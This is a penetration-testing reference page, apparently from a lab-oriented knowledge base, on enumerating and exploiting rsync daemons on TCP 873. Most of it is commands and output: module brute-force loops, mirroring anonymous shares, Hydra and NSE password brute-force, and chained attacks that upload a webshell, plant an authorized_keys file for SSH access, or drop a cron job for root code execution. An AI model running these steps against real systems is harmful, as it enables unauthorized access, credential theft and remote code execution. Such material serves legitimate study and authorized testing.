Rsync
Rsync is the standard Linux/Unix incremental file-transfer tool. Two modes matter to operators: rsync-over-SSH (rsync uses your SSH connection - same auth as SSH, nothing new to enumerate) and the standalone rsync daemon (rsyncd), which listens on TCP 873 with its own configuration, its own auth model, and its own anonymous-access misconfigurations.
# 1. Service scannmap -sV -p873 <target>
# 2. List modules (rsync's term for "shares")nc -nv <target> 873> @RSYNCD: 31.0< @RSYNCD: 31.0> #list< files Public file share< backup Daily backups< @RSYNCD: EXIT
# Or via rsync itself:rsync rsync://<target>/
# 3. List contents of a modulersync rsync://<target>/files/
# 4. Recursive listingrsync -av rsync://<target>/files/ --list-only
# 5. Bulk downloadrsync -avzh rsync://<target>/files/ ./files-local/Success indicator: rsync rsync://<target>/ returns one or more module names with descriptions; subsequent listing/download succeeds without authentication.
Protocol overview
Section titled “Protocol overview”Rsync has two transport modes that are conceptually different:
| Mode | Transport | Auth |
|---|---|---|
| rsync-over-SSH | Uses SSH (port 22) as the carrier | Inherits SSH’s authentication |
| rsync daemon (rsyncd) | Direct TCP on port 873 | Per-module config in rsyncd.conf - often anonymous |
When rsync is used as a backup tool (the common case), it usually runs over SSH - rsync -av /local user@host:/remote opens an SSH connection, doesn’t listen on any new port. When you see TCP 873 open, that’s specifically the daemon mode.
Daemon mode primitives
Section titled “Daemon mode primitives”The rsync daemon serves a list of modules. Each module is a named directory tree with its own access rules:
| Per-module setting | What it controls |
|---|---|
path | Server-side directory the module exposes |
comment | Human-readable description shown in listings |
read only | Whether clients can write (default yes) |
auth users | Whitelist of usernames allowed to access - if absent, anonymous access is allowed |
secrets file | Path to a file with user:password entries for auth |
hosts allow | IP-based restriction |
hosts deny | IP-based blocklist |
uid / gid | UID/GID rsyncd assumes after binding |
use chroot | Whether rsyncd chroots into the module path (defense in depth) |
A module with no auth users directive is anonymous-readable by default. If read only = false is set without auth users, it’s anonymous-writable - which is operationally rare but devastating when found.
Wire protocol
Section titled “Wire protocol”Plaintext, line-based, with a brief version handshake. The daemon-mode client sends:
@RSYNCD: <protocol_version><module_name>\n\nThe server responds with module metadata, then begins the file-list exchange. The first part can be inspected with netcat; the file-list exchange is too binary to be useful with manual tools.
Default configuration
Section titled “Default configuration”/etc/rsyncd.conf is empty by default on most distros - rsyncd isn’t enabled out-of-the-box. When admins configure it, the typical structure is:
# Global settingsuid = nobodygid = nogroupuse chroot = yesmax connections = 4syslog facility = local5pid file = /var/run/rsyncd.pidlock file = /var/run/rsync.locklog file = /var/log/rsyncd.log
# A module[files] path = /srv/rsync/files comment = Public file share read only = yes list = yes
# Another module - backups, intended for the backup user[backup] path = /srv/rsync/backup comment = Daily backups read only = no list = yes auth users = backup_user secrets file = /etc/rsyncd.secretsThe first module ([files]) is anonymous-readable. The second ([backup]) requires the backup_user credential.
Dangerous settings
Section titled “Dangerous settings”| Setting | Why it’s bad |
|---|---|
Module without auth users | Anonymous read access |
read only = no without auth users | Anonymous write access |
list = yes (default) | Module shows in --list-only output. Hiding it (list = no) provides security through obscurity. |
use chroot = no | rsyncd has full filesystem access (not just the module path) - symlink traversal becomes possible |
uid = root | rsyncd runs as root - file ops happen with root permissions, magnifies any other misconfig |
hosts allow = * | No source IP restriction |
Weak secrets file permissions | If world-readable, anyone on the host can extract the credentials |
The two operationally-relevant findings:
- Anonymous read on a module that contains sensitive data - backups, customer files, SSH keys, scripts with embedded credentials
- Anonymous write on a module mounted somewhere significant -
/srv/www/could become a webshell drop;/etc/cron.d/could become RCE via scheduled task
Footprinting commands
Section titled “Footprinting commands”Service scan
Section titled “Service scan”sudo nmap -sV -p873 10.129.14.128PORT STATE SERVICE VERSION873/tcp open rsync (protocol version 31)Version 31 = current. Older protocol versions still in deployments include 29 and 30. The protocol version doesn’t directly correspond to a CVE class, but very old rsync versions (pre-3.x) had several remote vulnerabilities.
Module enumeration
Section titled “Module enumeration”Direct way - rsync against the daemon with no module specified:
rsync rsync://10.129.14.128/files Public file sharebackup Daily backupsHidden modules (list = no) won’t appear in this listing. Brute-forcing a wordlist of common module names is the recovery:
for module in files backup backups data www public share home upload uploads private; do rsync rsync://10.129.14.128/$module/ 2>&1 | head -3doneThe error message changes between “doesn’t exist” and “requires authentication,” letting you distinguish hidden-but-present vs absent modules.
Manual interaction via netcat
Section titled “Manual interaction via netcat”nc -nv 10.129.14.128 873(UNKNOWN) [10.129.14.128] 873 (rsync) open@RSYNCD: 31.0@RSYNCD: 31.0 # echo your version back#list # request the module listfiles Public file sharebackup Daily backups@RSYNCD: EXITThe handshake uses two @RSYNCD: lines (one from server, one echoed back from you with your supported version), then #list requests the module catalog.
To explicitly request a module:
nc -nv 10.129.14.128 873@RSYNCD: 31.0@RSYNCD: 31.0files # name of the module you want@RSYNCD: AUTHREQD 5b8a2e # if auth is needed (then send user/password hash)If AUTHREQD appears, auth is required. If you get straight into the file-transfer phase, it’s anonymous.
Listing module contents
Section titled “Listing module contents”rsync rsync://10.129.14.128/filesdrwxr-xr-x 4,096 2021/09/19 14:21:11 .-rw-r--r-- 8,192 2021/09/19 14:20:15 README.txt-rw-r--r-- 1,048,576 2021/09/19 14:20:32 archive.tardrwxr-xr-x 4,096 2021/09/19 14:21:01 docsFor a recursive listing without downloading anything:
rsync -av rsync://10.129.14.128/files/ --list-only-a (archive) means “recurse and preserve everything.” --list-only is exactly what it says - list, don’t transfer.
Bulk download
Section titled “Bulk download”rsync -avzh rsync://10.129.14.128/files/ ./files-local/-a archive, -v verbose, -z compress in flight, -h human-readable sizes. Result: a complete mirror of the share to ./files-local/.
# Just a specific filersync -av rsync://10.129.14.128/files/README.txt ./
# Just specific patternsrsync -av --include='*.pdf' --exclude='*' rsync://10.129.14.128/files/ ./pdfs-only/Testing for write access
Section titled “Testing for write access”echo "test content" > /tmp/test-rsync.txtrsync -av /tmp/test-rsync.txt rsync://10.129.14.128/files/test-rsync.txtIf read only = yes is set, you’ll see:
rsync: connection unexpectedly closed (108 bytes received so far) [sender]rsync error: error in rsync protocol data stream (code 12) at io.c(228) [sender=3.1.3]If write succeeds, the file appears on the server. From there:
# If the module path is somewhere actionable...rsync -av /tmp/webshell.php rsync://10.129.14.128/web/uploads/shell.phprsync -av /tmp/authorized_keys rsync://10.129.14.128/home/.ssh/authorized_keysCredentialed access
Section titled “Credentialed access”When a module requires auth users:
# Prompts for password
# Or set RSYNC_PASSWORD env var to skip the prompt
# Or use --password-fileecho 'secret' > /tmp/pw && chmod 600 /tmp/pwCredential brute-force
Section titled “Credential brute-force”Hydra supports rsync:
hydra -L users.txt -P passwords.txt rsync://10.129.14.128NSE script:
nmap -p873 --script rsync-brute --script-args="rsync-brute.module=backup,userdb=users.txt,passdb=pass.txt" 10.129.14.128Brute-force is slower against rsync than most protocols (the daemon issues a fresh challenge per attempt and the cipher is HMAC-MD5).
Common chained workflows
Section titled “Common chained workflows”Anonymous module → backups → credentials:
rsync rsync://target/showsbackupmodule is anonymously accessible- Mirror it:
rsync -av rsync://target/backup/ ./local/ - Backups typically contain config files with credentials, customer database dumps, SSH key archives
- Use credentials against other services
Anonymous read on [home] → SSH keys → SSH access:
- Common admin convention: name the module
home, point it at/home/ - Mirror, find
~user/.ssh/id_rsafor each enumerated user - SSH in with the stolen keys
Anonymous write on a web-served directory → webshell:
- Module
[www]exposes/var/www/html/and is writable rsync -av shell.php rsync://target/www/shell.php- Trigger via HTTP:
curl http://target/shell.php?cmd=id
Anonymous write on a cron directory → scheduled RCE:
- Module exposes
/etc/cron.d/and is writable rsync -av my-cronjob rsync://target/cron.d/my-cronjob- Cron picks up the new job at the next interval - code runs as root
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
| Service scan | nmap -sV -p873 <target> |
| Module list | rsync rsync://<target>/ |
| Module list (netcat) | nc -nv <target> 873 then @RSYNCD: 31.0 + \n + #list |
| Hidden-module brute | for m in $(cat modules.txt); do rsync rsync://<target>/$m 2>&1; done |
| List one module | rsync rsync://<target>/<module> |
| Recursive list | rsync -av rsync://<target>/<module>/ --list-only |
| Bulk download | rsync -avzh rsync://<target>/<module>/ ./local/ |
| Specific file | rsync -av rsync://<target>/<module>/<file> ./ |
| Test write access | rsync -av /tmp/test rsync://<target>/<module>/test |
| Credentialed access | rsync rsync://user@<target>/<module>/ |
| With password | RSYNC_PASSWORD=pw rsync rsync://user@<target>/<module>/ |
| Brute-force | hydra -L users -P pass rsync://<target> |
| NSE brute | nmap -p873 --script rsync-brute --script-args="rsync-brute.module=<m>,userdb=u,passdb=p" <target> |